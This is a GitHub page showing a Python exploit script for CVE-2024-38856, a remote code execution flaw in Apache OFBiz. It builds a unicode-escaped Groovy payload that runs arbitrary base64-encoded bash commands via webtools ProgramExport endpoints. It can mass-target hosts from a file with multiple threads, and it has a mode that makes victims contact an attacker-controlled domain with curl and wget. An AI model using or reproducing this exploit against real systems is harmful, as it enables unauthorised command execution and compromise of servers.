-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathCVE-2024-38856.py
155 lines (135 loc) · 10.2 KB
/
CVE-2024-38856.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
import os
import sys
import base64
import requests
import argparse
import urllib3
import coloredlogs
import logging
from sys import stdout
from colorama import Fore
from concurrent.futures import ThreadPoolExecutor, as_completed
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
logger = logging.getLogger(__name__)
coloredlogs.install(level='DEBUG', logger=logger, fmt='%(asctime)s - %(levelname)s - %(message)s')
def clear():
os.system('clear' if os.name == 'posix' else 'cls')
def banners():
clear()
stdout.write(" \n")
stdout.write(""+Fore.LIGHTRED_EX +" ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ █████╗ █████╗ ███████╗ ██████╗ \n")
stdout.write(""+Fore.LIGHTRED_EX +"██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║ ╚════██╗██╔══██╗██╔══██╗██╔════╝██╔════╝ \n")
stdout.write(""+Fore.LIGHTRED_EX +"██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗█████╔╝╚█████╔╝╚█████╔╝███████╗███████╗ \n")
stdout.write(""+Fore.LIGHTRED_EX +"██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝╚═══██╗██╔══██╗██╔══██╗╚════██║██╔═══██╗\n")
stdout.write(""+Fore.LIGHTRED_EX +"╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗ ██║ ██████╔╝╚█████╔╝╚█████╔╝███████║╚██████╔╝\n")
stdout.write(""+Fore.LIGHTRED_EX +" ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═════╝ ╚════╝ ╚════╝ ╚══════╝ ╚═════╝ \n")
stdout.write(""+Fore.YELLOW +"═════════════╦═════════════════════════════════╦══════════════════════════════\n")
stdout.write(""+Fore.YELLOW +"╔════════════╩═════════════════════════════════╩═════════════════════════════╗\n")
stdout.write(""+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"AUTHOR "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" PARI MALAM "+Fore.YELLOW+"║\n")
stdout.write(""+Fore.YELLOW +"╔════════════════════════════════════════════════════════════════════════════╝\n")
stdout.write(""+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"GITHUB "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" GITHUB.COM/THATNOTEASY "+Fore.YELLOW+"║\n")
stdout.write(""+Fore.YELLOW +"╚════════════════════════════════════════════════════════════════════════════╝\n")
print(f"{Fore.YELLOW}[CVE-2024-38856] - {Fore.GREEN}Apache OFBiz Remote Code Execution\n")
def commandEncoder(command):
return base64.b64encode(command.encode()).decode()
def payloadUnicode(base64EncodedCommand):
payload = f'["bash", "-c", "{{echo,{base64EncodedCommand}}}|{{base64,-d}}|{{bash,-i}}"].execute()'
return ''.join(f'\\u{ord(c):04x}' for c in payload)
def exploit(target, port, payload):
paths = [
"webtools/control/forgotPassword/ProgramExport",
"webtools/control/main/ProgramExport",
"webtools/control/showDateTime/ProgramExport",
"webtools/control/view/ProgramExport",
"webtools/control/TestService/ProgramExport"
]
for path in paths:
url = f'{target}:{port}/{path}'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
data = r"groovyProgram="+payload
try:
response = requests.post(url, headers=headers, data=data, verify=False, timeout=10)
return response.status_code, response.text
except requests.RequestException as e:
return "target maybe down", ""
def processTarget(target, port, command):
encodedCommand = commandEncoder(command)
unicodePayload = payloadUnicode(encodedCommand)
statusCode, responseText = exploit(target, port, unicodePayload)
if statusCode == 200:
print(Fore.MAGENTA + "============================================================================================================" + Fore.RESET)
logger.info(f"{Fore.GREEN}\n\n[!] Target maybe vulnerable\n\t{Fore.WHITE}[+] Target: {target}, Port: {port}\n\t[+] Status Code: {statusCode}\n\t[+] Command: {command}\n\t{Fore.RESET}\n")
print(Fore.MAGENTA + "============================================================================================================" + Fore.RESET)
elif statusCode == 400:
logger.warning(f"{Fore.RED}\n\n[!] Target may require 'https':\n\t{Fore.WHITE}[-] Target: {target}, Port: {port}\n\t[-] Status Code: {statusCode}\n\t{Fore.RESET}\n")
print(Fore.MAGENTA + "============================================================================================================" + Fore.RESET)
else:
logger.warning(f"{Fore.RED}\n\n[!] Target may not be vulnerable:\n\t{Fore.WHITE}[-] Target: {target}, Port: {port}\n\t[-] Status Code: {statusCode}\n\t{Fore.RESET}\n")
print(Fore.MAGENTA + "============================================================================================================" + Fore.RESET)
def main():
parser = argparse.ArgumentParser(description='CVE-2024-38856 Apache Ofbiz RCE Scanner.')
parser.add_argument('-t', '--threads', type=int, default=1, help='Number of threads to use (default: 1)')
parser.add_argument('-p', '--port', type=int, help='Target port')
parser.add_argument('-c', '--command', type=str, help='Command to execute')
parser.add_argument('-s', '--scan', action='store_true', help='Perform scan with ping, curl, and wget')
parser.add_argument('-d', '--domain', type=str, help='Domain (attacker domain) to scan with ping, curl, and wget')
parser.add_argument('-f', '--file', type=str, help='File containing a list of targets in the format http(s)://target,port')
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
logger.info("[*] Options Passed:")
for arg in vars(args):
logger.info(f" {arg}: {getattr(args, arg)}")
prefix = ""
logger.info("\n")
targets = []
if args.file:
if not (args.command or (args.scan and args.domain)):
logger.error("[!] Error: --file requires either --command or --scan with --domain")
sys.exit(1)
with open(args.file, 'r') as f:
for line in f:
line = line.strip()
if line:
if not (line.startswith("http://") or line.startswith("https://")):
if not prefix:
choice = input("Targets do not have http:// or https:// prefix. Choose one to add to all targets:\n1. http://\n2. https://\nChoice (1/2): ")
if choice == '1':
prefix = "http://"
elif choice == '2':
prefix = "https://"
else:
logger.error("[!] Invalid choice.")
sys.exit(1)
line = prefix + line
if "," in line:
target, port = line.split(",")
port = int(port)
else:
target = line
if not args.port:
logger.error("[!] Error: --port must be specified if not included in the file")
sys.exit(1)
port = args.port
targets.append((target.strip(), port))
if args.command:
logger.info("[*] Starting exploitation...")
with ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = [executor.submit(processTarget, target, port, args.command) for target, port in targets]
for future in as_completed(futures):
future.result()
if args.scan:
logger.info("[*] Performing scan...")
with ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = [executor.submit(processTarget, args.domain, args.port, f"ping -c 4 {args.domain}") for _ in range(args.threads)]
futures.extend([executor.submit(processTarget, args.domain, args.port, f"curl -s {args.domain}") for _ in range(args.threads)])
futures.extend([executor.submit(processTarget, args.domain, args.port, f"wget --spider {args.domain}") for _ in range(args.threads)])
for future in as_completed(futures):
future.result()
if __name__ == "__main__":
banners()
main()